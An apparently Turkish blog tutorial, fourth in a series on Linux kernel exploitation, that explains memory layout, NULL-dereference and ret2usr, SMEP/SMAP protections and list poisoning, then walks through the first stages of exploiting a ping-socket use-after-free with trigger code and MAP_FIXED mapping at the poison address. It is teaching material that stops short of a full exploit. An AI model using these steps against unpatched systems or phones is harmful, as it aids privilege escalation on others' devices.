Hacker'ın Olmazsa Olmazı Kernel #4 Koy Koy Bitmiyor
Yeni yazı, yeni başlıklar, yeni kodlarla yine yeniden bir önceki yazıyla başlamış olduğumuz hafıza yönetimi konusuna devam ediyoruz arkadaşlar.Bu yazımızda bil[me]diğiniz kısa bilgileri koy kenara diyerek kernel exploit temellerine doğru yol alacağız.Önceki yazılarda olduğu gibi hafiften zehri salıp konular hakkında bilgi sahibi olmanızı sağlamaya çalışıyoruz. Yoksa konulara hakkıyla vakıf olmanın şahsi gayretinize bağlı olduğunu siz benden daha iyi biliyorsunuz.Yazı biraz uzun olabilir, inatla okuyunuz okutunuz efenimmm.
Koy Kenara
32 bit işlemciler ile protected mode denilen bir güvenlik mekanizması geliştirildi.İşlemci 4 farklı modda çalışabiliyor; Mod 0 [fısır] en yetkili arkadaş olurken ki biz buna ring 0 ya da supervisor mode ya da kernel mode derkene, ring 1 ya da hypervisor mode varkene ring 2'yi salla gitsin, bir de en yetkisiz gariban Ring 3 ya da user mode var diyebiliriz.Sonuç olarak bizim için önemli olan ring 0 ve ring 3, biri kernel mode biri user mode, duydunuz mu daha önce, evet şimdi duydunuz.Aklınıza takılmasın, en yetkili kullanıcı olan root ring 3'ün en yetkilisidir,yoksa ring 0 ile alakası yoktur.Koyduk mu kenara koyduk,devammm.
Tipik 32 bit bir linux sistemde virtual memory yani sanal hafıza mevzu bahis olunca [sanal?] bahsedilmesi gereken bir 3-1 durumu mevcuttur. Ortada hayali bir 4 GB hafıza vardır, bunun üçünü userland yani kullanıcı bölümü alırken geriye kalan bir cigabaytlık bölüm kernelland yani kernel bölümü cukkalamaktadır.Genel olarak hafızanın bölümlere ayrılmasına segmentation denmektedir [eyyy gidi segmentation fault].Kafada sorular belirmeye mi başladı, süperrr demek ki kılcal damarlarda tıkanma yok deyip birazcık parmakları çalıştıralım.
ka@ka-vm ~ $ python
>>> 3 * 1024 * 1024 * 1024 <-- 3 GB
3221225472L
>>> 0xc0000000
3221225472L
Gördüğümüz hex değer 0xc0000000 kernele ait olan bölümün başlangıcı olup, buradan ötesi askeri alan olmaktadır.Bu bölümle kıpraşmak istediğinizde, kenara koyduğumuz ring 3 vardı ya heh işte o haldeyken, sorgusuz sualsiz bakdalgana hatası alırsınız.Bilgiler verip duruyoruz, koyun kenara.Şimdi biraz sorgulama yapıp kafamızı karıştıralım.
[4 GB Ram ile çalışan sanal makine]
root@kali:/boot# cat System.map-3.12-kali1-686-pae |grep _text |head -n 1
c1000000 T _text
[2 GB Ram ile çalışan sanal makine]
root@kali:/boot# cat System.map-3.12-kali1-686-pae |grep _text |head -n 1
c1000000 T _text
Doğru görüyorsunuz, gerçek RAM miktarı ne kadar olursa olsun, kernelin başlangıç adresi nedense hep aynı.Al sana soru 2 GB RAM olan bir makinede kernel nasıl 3 GB'dan sonra başlayacak değil mi? [hadi buyur]. İşte bunların hepsi virtual paging özelliğinin sonucunda gerçekleşiyor.Durrr yapmaaaa deseniz de nedir bu virtual paging anlatmak zorundayım. Virtual yani hayali birşeyler sözkonusu arkadaşlar [yok yawwww].Peki paging yani sayfalama dediği ne oluyor, ister büyük olsun ister küçük sistemde bulunan RAM bir defter misali sayfalara yani page'lere ayrılıyor.Bakalım bizim sistemde bir page ne kadarmış:
...
printf("Page Size: %d\n",sysconf(_SC_PAGESIZE));
...
root@kali:~/net# ./a.out
Page Size: 4096
Görüldüğü üzere kullandığım sistemde bir sayfa 4096 byte yani 4 Kilobyte büyüklüğündeymiş.Peki başka bir seçenek var mıydı ki diye soranlara bazı sistemlerin 8 Kilobyte olma ihtimalini de hatırlatalım.Aslında bu bilgi bir önceki yazıda hazırladığımız programda vardı,neden mi inatla tekrar ediyorum, az aşağıda göreceksiniz diyerek koyalım kenara.
Kullanıcılar yani Ring 3 yetkisinde olan arkadaşlar ancak sanal adreslerle muhatap olabilir [dikkkkaaatt, bi daha oku bu cümleyi].Gerçek ya da fiziksel adresler ki genelde bunların her bir sayfasına page frame denir, sadece kernelin bırkalayabildiği, yönetebildiği bir mevzu olduğundan birazcık da nasıl yönetiliyormuş inceleyelim. Süper bilgisayarlar var ya hani, hangar gibi yerde çalışan devasa tek bir bilgisayar, heh işte onları hesaba katarsak önce node denilen bölümler oluşturuluyor ki bunlara genelde NUMA sistemler deniliyor ki hiç oralara girme niyetinde değilim.Hepimizin kullandığı sıradan bilgisayarlar düşünüldüğünde RAM miktarı ile bağlantılı olarak önce zone yani bölgeler oluşturuluyor.İlk oluşturulan bölgemiz, eski ISA kartlarının maks. 16 MB adresleyebilmesi yüzünden DMA yani Direct Memory Access ismindeki bölümdür.Sonrasında NORMAL ve HIGHMEM bölümleri oluşturulur ki bunlar da RAM miktarına göre değişmektedir.Eğer 64 bitlik bir işletim sistemi mevzu bahisse ve 4 GB RAMe sahipseniz DMAdan sonra kalan bölüme direk DMA32 olarak ayrılır.Bu bilgileri de koyun kenara ama aşağıdaki örneğe bakın ondan sonra.
root@kali:~# dmesg|grep "Zone ranges" -A 3
...
[ 0.000000] Zone ranges:
[ 0.000000] DMA [mem 0x00001000-0x00ffffff]
[ 0.000000] Normal [mem 0x01000000-0x379fdfff]
[ 0.000000] HighMem [mem 0x379fe000-0x7fffffff]
...
Aldığımız veriler neticesinde görüyoruz ki 4 KB kısımdan sonrası 16 MBa kadar DMA bölümüne, 889 MBa kadar olan bölüm Normal bölümüne ve geri kalan bölümde toplamda 2 GBa kadar Highmem bölümüne ayrılmış.Burada gördüğümüz değerler fiziksel RAMe ait olup, programlarda bırkaladığımız adreslerle hiçbir alakası yoktur.
Peki virtual yani sanal bir adres, mesela 0x08048400, fiziksel RAMde hangi adreste bulunduğunu nasıl çözüyoruz diye meraktaysanız bunlar için page tables denilen tablolar kullanılmaktadır.Hayretler içerisindeyim, detay ver detay diyenler için Bekir Karul kardeşimin yazmış olduğu şu yazıyı önerebilirim.Ortaya bi soru daha salalım; her sanal adres mevzu bahis olduğunda yaa bu arkadaşın gerçek adresi neymiş diye tekrar tekrar sorgulama mı yapılıyor? Tabii ki hayır.Bu iş için işlemcilerin bir parçası olan MMU yani Memory Management Unit ve TLB yani Translation Lookaside Buffers isimlerinde yardımcılar hazır bekliyor.Ben başlıkları verdim, araştırıp öğrenmek size kalıyor.Baya bi koyup duruyoruz kenara, malesef bitiremediğimizden mütevellit koymaya devam diyoruz, başlığı değiştirelim şekil dursun, buyrunnn.
Tam Orası
Şu anı hep beraber hatırlayalım arkadaşlar; hani sırtımız kaşınır da yakınımızda kim varsa rica ederiz ya kaşı kaşı diye, önce biraz sağa sonra az aşağı derken nokta atışı yer belirlenir ya, mutluluğun en basit tarifi bu olsa gerek diyorum.Yok kayışı sıyırmadım henüz, aynı olayı hafıza yönetiminde nasıl yapıyoruz tarif etmek babında hafiften bir giriş yapayım dedim.
Daha önceden kullandığımız mmap fonksiyonunu bilmeyen yoktur [ahh keşkem ahh keşkem].Diskimizde uyumakta olan bir program çalıştırılmak istendiğinde execve ile çağırılınca programın section yani bölümleri mesela çalıştırılabilir bölüm olan text ve diğerleri [bss, data, vb..] işte bu mmap sayesinde hafızaya aktarılır, sonra çalışma başlar.Yok abi yetmedi bu kadar açıklamaa diyenler araştırıyor, öğreniyor ve devam ediyoruz.Bu fonksiyonun çok enteresan bir seçeneği mevcut, kendisine MAP_FIXED diyoruz.Özetle hafızadan tam olarak şu adresi istiyorum diyebiliyorsunuz.Her ne kadar açıklama kısmında bu seçeneği çok kullanmayın, kodunuz farklı sistemlerde kullanılamaz hale gelir diye uyarsa da bizim için hayati önem sahip diyor, ve bu bilgiyi de kenara koymanızı rica ediyorum.
Sırtımızı kaşıtıp rahatladığımıza göre bambaşka bir mevzuya atlayalım.Pointerlar var ya hani işaretciler, birine evinizin içinde ne var ne yok tek tek tarif etmek yerine adresinizi söylüyorsunuz evinize geliyor ya [öyle tarif ederler], bu pointerlarda dereference yani geri referanslama yaniyani gitdeğerioku ya da gitdeğeriyaz diyoruz ya, bu işlemin sağlıklı gerçekleşebilmesi için işaretçimizin geçerli bir adresi işaretlemesi gerekiyor.Örneğimize göre tekrar şekillendirecek olursak arkadaşınıza ev adresini doğru söylemezseniz bu adam nereye gelecek bilader [çıldırtmayın adamı] şeklinde tarif edebiliriz.Anlamamızı kolaylaştıracak basitinden bir örnek verelim.
#include
void main(){
int *a = NULL; // adres lazım değil
*a = 5; // Git o adrese 5 yaz, sonuç BOOOM Segmentation Fault
// Üstte *a tanımlama için, alttaki *a dereference yapma
}
Integer pointer belirledik, adresi NULL yani 0x0 dedik, ondan sonra git o adrese bir değer ataması yap dedik sonuç doğal olarak program sizlere ömür.Konumuzla alaka kuracak olursak bu duruma NULL Pointer Dereference yani böyleadresinbeniçinetüküreyim deniyor.Bahsi geçen bu zaafiyet kernelin biiirrrçooook yerinde bulunmasına rağmen başta kimse sallamadı. Amannn tek tek düzeltiriz nolcak dedikleri sırada sırtını kaşıtan bir heykır kardeş, [rivayete göre spender] kenara koyduğumuz MAP_FIXED özelliğini kullanarak mmap fonksiyonundan 0x0 adresini istiyorum dedi.Tahmin yürütmenize gerek yok, program ya da kernel booom diye patlamak yerine mmap ile istediğiniz adrese yazmış olduğunuz komutları çatırrr çatırrr çalıştırdı.Bazılarınız adrese nasıl komut yazıyoruz dedi di mi içinden, onun için de function pointer kullanıyoruz arkadaşlar.Neyse burada yapılan şey nedir, kenara koyduğumuz bütün bilgilerle özetleyelim.
Kernelin herhangi bir yerinde _tetikleyebildiğimiz_ bir Null Pointer Dereference bulduk, sonracıma mmap ile MAP_FIXED özelliğini kullanarak 0x0 adresini bize kullandırmasını istedik, sonrasında ise kernel kodu çalışırken [kernelde bulduk ya n.p.d'yi] yaniiii sistem Ring 0 durumundayken 0xc0000000 [kernellanda ait olmayan] adresinden düşük bir adreste bulunan kodu git çalıştır demiş olduk.Bu yönteme arkadaşlar ret2usr deniyor. [önemliii]
Biliyorsunuz güvenlik camiası genelde musibet based seküriti üzerine kurulu olduğu için kernel divelopır arkadaşlar bu sorunu kökünden çözmeye karar verdiler. Sisteme bir seçenek eklediler, mmap_min_addr isminde ve genel olarak belirlenen değer 65536 değeridir.Sonuç olarak MAP_FIXED kullanarak bu değerin altında bir adres talep etmeniz durumda alacağınız tepkiyi sanırım tahmin ediyorsunuz.ret2usr sadece null pointer dereference zaafiyetiyle değil başka yöntemlerle de kullanıldığı için Intel firması piyasaya SMEP yani Supervisor Mode Execution Prevention yaniyani senkullanıcısınkullanıcıkal şeklinde bir koruma daha getirdi.Ne yapıyor bu koruma; işlemci ring 0 durumundayken gidip de userlande ait bir adresteki kodu çalıştırmıyorrrr.Intel ortamlarda şekil yaparkene ARM rahat durmadı ve o da PXN yani Privileged Execute Never korumasını getirdi.
Beni kesmedi abeyyy daha fazla detay istiyorum diyenler SMEP için Dan Rosenberg Reise ait yazıyışu adreste bulabilir. Ben androidciyim PXN ile alakalı birşey var mı diyenler de çekikgözlü arkadaşların hazırladığı şu yazıyı okuyabilir.
2011 yılında hayatımıza renk katan SMEP ile execute yani çalıştırmanın önüne geçmeyi başaran (!) abilerimiz, bir eksiğin daha farkına vardı.Tarihler 2014 yılını gösterirken Inteldeki süpersonik abiler bu sefer de işlemci ring 0 durumundayken userlande ait bir adresten okumayı ya da yazmayı özetle access işlemini engelleyen bir koruma daha çıkardı. SMEP ile çalıştırma engeline takılan mazbut heykırların SMAP yani Supervisor Mode Access Prevention yaniyani bırkalamalansağısolu korumasıyla erişimi de engellenmiş oldu.ARM firması tabii ki boş durmadı ve PAN yani Privileged Access Never korumasını yeni işlemcilerine uygular oldu.Belirtmek isterim ki şu an için HİÇ BİR Android telefonda PAN koruması mevcut değil.Sonucun da sonucu olarak arkadaşlar; mutlu mesut yıllarımızın sonlarına doğru yaklaşıyoruz, her ne kadar SEN sevgili okuyucu bu zaafiyetlerden, bu korumalardan yeni haberdar oluyor olsan da adamlar korumaları arttırıyor, işleri zorlaştırıyor ammavelakin tamamen engelleyemiyor [rahat ol girecez detaya].
Olur ya sağda solda farklı terimlere denk gelip de aklınız karışmasın diye bu korumaların atasından bahsetmek istiyorum.Reislerin Reisi, çok sevgili Brad Spengler abimiz ki hani sırtını kaşıtan spender vardı ya o işte,PaX güvenlik eklentisinin temeltaşı olur, yıllar evel SMEP görevi gören KERNEXEC ve SMAP görevi gören UDEREF korumalarını yazılımsal olarak sunmuştur.Peki madem vardı bu korumalar neden genele yayılmıyordu diye soranlara deriz ki bu işi yazılımsal olarak yaptığınız vakit işlemciye ekstra yük bindiriyorsunz.Ama korumalar işlemcide donanımsal olarak olunca hızdan feragat etmek zorunda kalmıyorsunuz.Görüldüğü üzere koy koy bitmiyor arkadaşlar, krala selam yazıya devammmm.
Zehirle Gardaş
Bir önceki yazıda tam olarak şurada listelerden bahsetmiştik, hani gidin araştırın öğrenin demiştik ya söz dinleyenlerin daha kolay anlayacağı bir detaydan bahsedelim.Kernel liste yönetiminde şöyle bir uygulama var; liste silineceği zaman ve benzeri bazı yerlerde arkadaşı zehirliyorlar,biz susalım kod konuşsun!
#define LIST_POISON1 ((void *) 0x00100100)
#define LIST_POISON2 ((void *) 0x00200200)
...
static inline void list_del(struct list_head *entry)
{
__list_del(entry->prev, entry->next);
entry->next = (struct list_head*)LIST_POISON1;
entry->prev = (struct list_head*)LIST_POISON2;
}
#endif
Görüldüğü üzere zehirlemekten kasıt işaretçilere önceden belirlenmiş olan adres değerleri atanıyor.Nedir bu adresleri ilginç kılan; ikisi de mmap ile isteyip paşa paşa alabileceğimiz adresler [wundebaa].Bu detay bizim gözümüzden kaçmıyor da kernel divelopır abiler boş durur mu,şu adresteki uyarıyı paylaşalım:
/********** include/linux/list.h **********/
/*
* Architectures might want to move the poison pointer offset
* into some well-recognized area such as 0xdead000000000000,
* that is also not mappable by user-space exploits:
*/
"Not mappable by user-space exploits" uyarısını dinleyen 64 bit sistemler hedefimizin dışında olsa da 32 bit sistemler hedefimize dahil oluyor. Pekala bu tehlikenin en son patlak verdiği yer ve zaman nedir diye soracak olursak, tarihler Mayıs ayını gösterdiğinde çekikgözlü arkadaşlarımızın en meşhurlarından KeenTeam tahmin ediyorum ki BlackHat konferansında şekil yapmak için bu durumu sömürebilen bir zaafiyeti ifşa etti.Şimdi detay vakti diyerek ne nasıl oluyor, en azından başlangıç kısmını birlikte inceleyelim.
Öncelikle bir ping socket oluşturmamız gerekiyor.Daaaaaatttttt efektiyle bir elfreni çekmemiz gerekiyor çünkü 32 bit linux sistemlerde [x86 - Intel] bu soketi oluşturmamıza [root olsan da] izin verilmiyor.Tamam da bunun neresini nasıl sömürüyorlar dersek, Android telefonların tamamı ARM işlemci kullanıyor, orada durum nasıl diye incelersek ki çekikgözlü abiler de aynen öyle yapmış, ping soketi oluşturmada herhangi bir sorun yok [sıradan kullancılar için bile].Yani karşımızda nur topu gibi bir kernel exploit ya da telefon piyasasının lügatıyla rootlama yöntemi duruyor olabilir [ihtimal felan yok aynen öyle].Mevzuya bir dalalım.
root@kali:~/net# cat /proc/sys/net/ipv4/ping_group_range
1 0 <-- Kral olsan müsade yok
root@kali:~/net# echo 0 > /proc/sys/net/ipv4/ping_group_range
[İşlem tamam]
Denemelerimizi 32 bit x86 sistemde gerçekleştirebilmek için önce izin almamız gerekiyor.İzni aldık, ping soketi oluşturuyoruz, sonra tabii olduğu family yani ailesini değiştirdiğimiz vakit 2 defa daha connect ile sokete bağlanmak istediğimiz an sistem çatlıyor.Çekikgözlü abilerin yayınlamış olduğu pdf dökümanından, merak edenler için adresi şurası, durumu örneklendiren kodu paylaşalım.
...
int sockfd = socket(AF_INET,SOCK_DGRAM, IPPROTO_ICMP); // Ping Soketi oluştur
struct sockaddr addr = { .sa_family = AF_INET };
int ret = connect(sockfd, &addr;,sizeof(addr)); // Bağlandık
struct sockaddr _addr= { .sa_family = AF_UNSPEC }; // Ailesini değiştir
ret = connect(sockfd, &_addr, sizeof(_addr)); // İlk connect
ret = connect(sockfd, &_addr, sizeof(_addr)); // İkinci connect - BOOOM
...
Zaafiyetin kendisinden ziyade sömürebilme derdimiz olsa da bilmemiz gereken şey, ortada bir use-after-free durumu var."ilk connect" dediğimiz andan itibaren _bir işaretçi adresi_ LIST_POISON2 yani 0x00200200 oluveriyor, "ikinci connect" sırasında kernel o işaretçiye gitdeğeriyaz yapmak istediği an dereference yapamaması neticesinde, gittimyazamadımabi feryadıyla çatlıyor.Nasıl yani; şöyle yani:
Bu haliyle sıradan bir Denial of Service yani hizmetdışıbırakma saldırısı durumunda olan zaafiyeti, bi saattir koy kenara dediğimiz bilgilerin ışığında kontrolümüz altına almaya çalışalım.Herşeyden önce sırtımızda kaşınan nokta belirlendiğine göre mmap fonksiyonundan o adresi bize vermesini isteyelim.İlk denemede hata alınca, sebebini anlatarak işlemimizi tamamlayalım, buyrunnn.
...
adres = mmap((void *)0x00200200, 4096, PROT_READ |PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0);
...
root@kali:~# strace ./a.out
mmap2((0x200200, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = -1 EINVAL (Invalid argument)
// İsteyenin bir yüzü kara, vermeyince zenci ?!
-------
int pagesize = sysconf(_SC_PAGESIZE);
adres = mmap((void *)((0x00200200 / pagesize) * pagesize), 4096, PROT_READ |PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0);
...
root@kali:~# strace ./a.out
mmap2(0x200000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x200000
// Mevzu bu!
Hatayı almamızın sebebi MAP_FIXED seçeneği devrede olduğu zaman mmap bizden page miktarına uygun bir adres girmemizi istiyor.İstediğimiz adresi pagesize değişkeni ile bölüp tekrar çarptığımız anda [küsürattan kurtuluyoruz] aldığımız değer olan 0x200000 görüldüğü üzere hatasız bir şekilde emrimize amade veriliyor.Talep edilen hafıza miktarının belirlendiği ikinci değişken 4096 ile zaten ihtiyacımız olan yeri de kontrolümüz altına almış oluyoruz.Herşey hazır olduğuna göre kodumuz tekrar çalışıtırıp olanları görelim.
// Güven kontrole mani değildir, bakalım istediğimizi aldık mı?
...
root@kali:~# ps aux |grep a.out
root 4035 0.0 0.0 1708 244 pts/0 S 05:00 0:00 ./a.out
root@kali:~# cat /proc/4035/maps
00200000-00201000 rw-p 00000000 00:00 0
...
BOOOM -> BUG: Unable to handle kernel paging request at 00200200
Abi hani patlamıcaktı bu sefer gibisinden hayallerinizi yıkmak istemem ammmaaa bazı detayları hatırlamak durumundayız, mesela mmap ile istediğimiz adres bloğu bizim için rezerve ediliyor.Nasıl ki rezerve ettirdiğiniz bir masa restoranta gidene kadar sizin olamıyorsa mmap ile istediğimiz yer de memset ile bırkalayana kadar da bizim olamıyor. Son yaşadığımız patlamanın sebebi bu arkadaşlar, üzülmeyin gerekeni yaparız.
...
memset((void *)adres, 0, pagesize);
...
connect(...); // 1. connect
getchar(); // kontrolümüzde devam etsin
...
connect(...); // 2. connect
getchar(); // kontrolsüz güç, güç değildir
...
Sonuç ? -> BOOOOM
Yok arkadaş inatla patlıcam diyor, bir türlü engelleyemiyoruz diye düşünsek de atladığımız son noktayı da belirtelim.Eğer açtığınız soketleri close ile kapatmayı unutursanız exit sırasında sağolsun varolsun sistem bizim adımıza kapatıyor,eee kapatsın ne var bunda diyebilirsiniz, mmap ile elde ettiğimiz hedef adresimiz 0x200200 exit sırasında artık bizim kontrolümüzde olmadığından, yani kernel zaafiyet neticesinde son kez yazma denemesinde başarısız olduğu için doğal olarak cıyak cıyak bağırıyor.Napıyoruz kodumuzun sonunda, hedef adres kontrolümüzdeyken, close ise soketimizi kapatıyoruz [cici çocuklar gibi].
root@kali:~# ./a.out
İlk connect
Ikinci connect
root@kali: dmesg
[ 106.914127] IPv4: Attempt to release alive inet socket f3198cc0
Görüldüğü üzere gerekli düzenlemelerle zaafiyetin patlamasını engellemeyi başardık.Yazıyı buraya kadar sabırla okuyanlar hani exploiti tamamlamıyor muyuz diyebilir, burada derdimiz olayları kontrolümüz altına nasıl alırız onu göstermek, yoksa başarılı bir exploit için çok fazla detaya el atmamız gerekiyor.En basitinden kenara koyduğumuz bir detayı yeri gelmişken hatırlayalım.
root@kali:# cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 58
model name : Intel(R) Core(TM) i7-3612QM CPU @ 2.10GHz
...
flags : fpu vme ... sse sse2 ss nx smep
// Görüyon de mi kabak gibi SMEP yazıyor
Bütün detaylara el atsak bile en sonunda SMEP koruması bizi bekliyor olacağından dolayı onu da atlatmanın yolunu bulmamız gerekiyor.Birşey aramamıza gerek yok, onun da çaresine bakmış heykır abilerimiz.Merak edenler için 2014 yılında ödül almış bir yöntemi huzurlarınızda çağırmak istiyorum; karşımızda ret2dir yöntemi. Detaylara burada girecek değilim ama konuya meraklı arkadaşlar bu adresteki dökümanı inceleyebilir.
Abi ben dibine kadar yürücem bu işin diyen arkadaşlara fi01 nickli capon kardeşimizin github adresini tavsiye ederim. Çok stabil bir exploit değil ama fikir sahibi olmanıza yardımcı olabilir.Bir sonraki yazımızda hafıza mevzularına ve tabii ki exploit temellerine devam edeceğiz diyerekten sizi selamlıyorum.
Oynatalım Uğurcum
Yazı için hazırlanan videoyu YouTube'dan izleyebilirsiniz.
Yazı için hazırladığımız programı bu adresten indirebilirsiniz.
